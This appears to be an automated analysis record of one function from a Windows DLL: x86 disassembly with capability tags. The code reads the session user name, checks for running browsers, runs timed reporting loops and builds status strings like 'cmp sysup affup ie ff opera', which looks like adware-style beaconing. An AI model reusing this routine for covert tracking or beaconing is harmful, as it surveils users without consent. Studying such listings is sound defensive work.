Function at 0x10001ebe
Capabilities:
Check for time delay via gettickcount
Get session user name
Terminate process
Terminate thread

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x1001b0f8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push dword [0x1001b154]
mov dword [ebp + 0x84], eax
call esi
push dword [0x1001b158]
call esi
push dword [0x1001b15c]
call esi
mov eax, dword [0x1001bb94]
xor edi, edi
cmp eax, edi
je 0x100013f6
push edi
push edi
push edi
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
cmp ebx, edi
je 0x100013ee
push 0x420
push edi
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [0x1001bb94]
call esi
mov eax, dword [0x1001b164]
cmp eax, edi
je 0x10001402
push eax
call esi
lea eax, [ebp - 0x80]
push eax
push 0x1001b3f8
call fcn.10001087
pop ecx
pop ecx
push 0x2e
push edi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov ebx, eax
cmp ebx, edi
je 0x10001473
inc ebx
mov eax, ebx
lea ecx, [ebp - 0x80]
sub eax, ecx
cmp eax, 0x109
jge 0x10001473
push 5
push str.bak1
push ebx
call sub.msvcrt.dll_memcpy
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.10001160
lea eax, [ebp - 0x80]
push edi
push eax
mov byte [ebx + 3], 0x32
call fcn.10001160
push 5
push str.ini2
push ebx
call sub.msvcrt.dll_memcpy
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.10001160
add esp, 0x30
push edi
push 0x1001b3f8
call fcn.10001160
mov eax, dword [0x1001bba0]
cmp eax, edi
pop ecx
pop ecx
je 0x10001492
push eax
call esi
mov dword [0x1001bba0], edi
call fcn.10001049
test al, al
push edi
je 0x100014a8
push dword [0x1001b6d4]
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x100123cc
call fcn.10011420
sub esp, 0x314
mov eax, dword [0x1001b0f8]
push ebx
push esi
push 0x100015dd
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x2ec]
push eax
call fcn.10001000
pop ecx
lea eax, [ebp - 0x2ec]
push eax
push 0x420
xor esi, esi
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001bb94], eax
call ebx
push dword [0x1001b6d4]
call fcn.10001ce4
test eax, eax
pop ecx
jne 0x10001f3d
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100112e6
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push 0x1001b73c
push esi
push esi
mov dword [ebp - 0x2f8], esi
mov dword [ebp - 0x2fc], esi
call edi
push 0x1001b8dc
push esi
push esi
mov dword [0x1001b154], eax
call edi
push str.aff_exit
push esi
push 1
push esi
mov dword [0x1001b158], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x100134c8
push esi
push esi
mov dword [0x1001b15c], eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push esi
push esi
push esi
mov dword [0x1001b160], eax
push 0xea60
lea eax, [ebp - 0x2fc]
push eax
push dword [0x1001b154]
call edi
push esi
push esi
push esi
push 0x2710
lea eax, [ebp - 0x2fc]
push eax
push dword [0x1001b158]
call edi
push esi
push esi
push esi
push 0x927c0
lea eax, [ebp - 0x2fc]
push eax
push dword [0x1001b160]
call edi
cmp dword [0x1001bb8c], esi
mov dword [0x1001b150], esi
jne 0x1000200f
push 8
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x2f0], eax
cmp eax, esi
mov dword [ebp - 4], esi
je 0x10002004
mov ecx, eax
call fcn.100039f9
jmp 0x10002006
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [0x1001bb8c], eax
call ebx
test eax, eax
mov dword [ebp - 0x2f0], eax
fild dword [ebp - 0x2f0]
jge 0x10002027
fadd qword [0x100134c0]
fmul qword [0x100134b8]
call fcn.100114e6
mov dword [0x1001b168], eax
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x1e8]
push eax
mov dword [ebp - 0x300], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call ebx
test eax, eax
mov dword [ebp - 0x2f0], eax
fild dword [ebp - 0x2f0]
jge 0x1000206d
fadd qword [0x100134c0]
fmul qword [0x100134b8]
call fcn.100114e6
mov edi, eax
call fcn.100015e1
test al, al
lea eax, [ebp - 0x1c]
je 0x1000208d
push str.inst
jmp 0x10002092
push str.updt
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1e8]
push eax
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x80]
push str.1upd_ssysup_duser_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1001b084]
add esp, 0x14
cmp dword [0x1001b098], 0x10
jae 0x100020cb
mov ecx, 0x1001b084
cmp dword [0x1001b07c], 0x10
mov eax, dword [0x1001b068]
jae 0x100020de
mov eax, 0x1001b068
push ecx
push eax
push 0x1001bba4
lea eax, [ebp - 0x80]
push eax
push 0x10013488
call fcn.1000b10e
add esp, 0x14
push 0xff
push 0xffffffffffffffff
push esi
push 0x1001b154
push 4
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
sub eax, esi
je 0x10002263
dec eax
je 0x1000224b
dec eax
je 0x100022ae
dec eax
je 0x1000215b
dec eax
jne 0x100020f6
jmp 0x10002143
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push esi
push esi
lea eax, [ebp - 0x320]
push esi
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x10002129
jmp 0x100020f6
call ebx
test eax, eax
mov dword [ebp - 0x2f0], eax
fild dword [ebp - 0x2f0]
jge 0x10002173
fadd qword [0x100134c0]
fmul qword [0x100134b8]
call fcn.100114e6
mov ebx, eax
mov eax, dword [0x1001bb90]
cmp eax, esi
mov dword [ebp - 0x2f4], esi
je 0x1000219d
lea ecx, [eax + 0x14]
call fcn.10001628
mov dword [ebp - 0x2f4], eax
mov edi, ebx
sub edi, dword [0x1001b168]
push str.iexplore.exe
call fcn.1000235b
mov dword [ebp - 0x2f0], eax
mov dword [esp], str.firefox.exe
call fcn.1000235b
mov dword [ebp - 0x304], eax
mov dword [esp], str.opera.exe
call fcn.1000235b
push eax
push dword [ebp - 0x304]
lea eax, [ebp - 0x1c]
push dword [ebp - 0x2f0]
push edi
push ebx
push eax
push dword [ebp - 0x2f4]
lea eax, [ebp - 0xe4]
push str.1cmp_dsysup_daffup_die_dff_dopera_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1001b084]
add esp, 0x28
cmp dword [0x1001b098], 0x10
jae 0x10002215
mov ecx, 0x1001b084
cmp dword [0x1001b07c], 0x10
mov eax, dword [0x1001b068]
jae 0x10002228
mov eax, 0x1001b068
push ecx
push eax
push 0x1001bba4
lea eax, [ebp - 0xe4]
push eax
push 0x1001342c
call fcn.1000b10e
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x100020f3
mov ecx, dword [0x1001bb90]
cmp ecx, esi
je 0x100020f6
call fcn.1000f0f4
jmp 0x100020f6
mov ecx, dword [0x1001bb8c]
cmp ecx, esi
je 0x10002277
call fcn.10006aa3
jmp 0x100020f6
push 8
mov dword [0x1001bb8c], esi
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x2f0], eax
cmp eax, esi
mov dword [ebp - 4], 1
je 0x1000229f
mov ecx, eax
call fcn.100039f9
jmp 0x100022a1
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [0x1001bb8c], eax
mov ecx, eax
jmp 0x1000226d
xor edi, edi
mov eax, dword [0x1001b170]
cmp eax, esi
je 0x100022e7
mov ecx, dword [0x1001b174]
sub ecx, eax
sar ecx, 2
cmp edi, ecx
jae 0x100022e7
lea eax, [eax + edi*4]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x1001b170]
lea eax, [eax + edi*4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
jmp 0x100022b0
jmp 0x1000137e